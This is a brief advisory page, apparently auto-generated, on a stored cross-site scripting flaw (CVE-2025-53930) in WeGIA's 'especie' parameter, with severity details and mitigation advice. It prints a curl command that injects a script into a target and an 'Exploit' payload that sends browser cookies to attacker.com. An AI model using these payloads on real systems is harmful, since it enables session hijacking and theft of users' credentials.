Listen to this Post
How the CVE Works
The CVE-2025-53930 vulnerability in WeGIA (prior to v3.4.5) stems from insufficient input sanitization in the `adicionar_especie.php` endpoint. Attackers can inject arbitrary JavaScript via the `especie` parameter, which is stored in the database. When administrators or users access the compromised page, the malicious script executes in their browser session, enabling session hijacking, defacement, or credential theft. The attack requires no authentication (PR:N) and exploits the application’s failure to encode user-supplied data before rendering it in the browser (UI:A).
DailyCVE Form
Platform: WeGIA
Version: <3.4.5
Vulnerability: Stored XSS
Severity: Medium
Date: 07/25/2025
Prediction: Patch by 08/10/2025
What Undercode Say
Analytics:
curl -X POST http://target/wegia/adicionar_especie.php -d "especie=<script>alert(1)</script>" grep -r "especie" /var/www/wegia/
Exploit:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Protection from this CVE:
- Upgrade to WeGIA 3.4.5
- Implement CSP headers
- Sanitize `especie` input
Impact:
- Session hijacking
- Admin compromise
- Data exfiltration
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
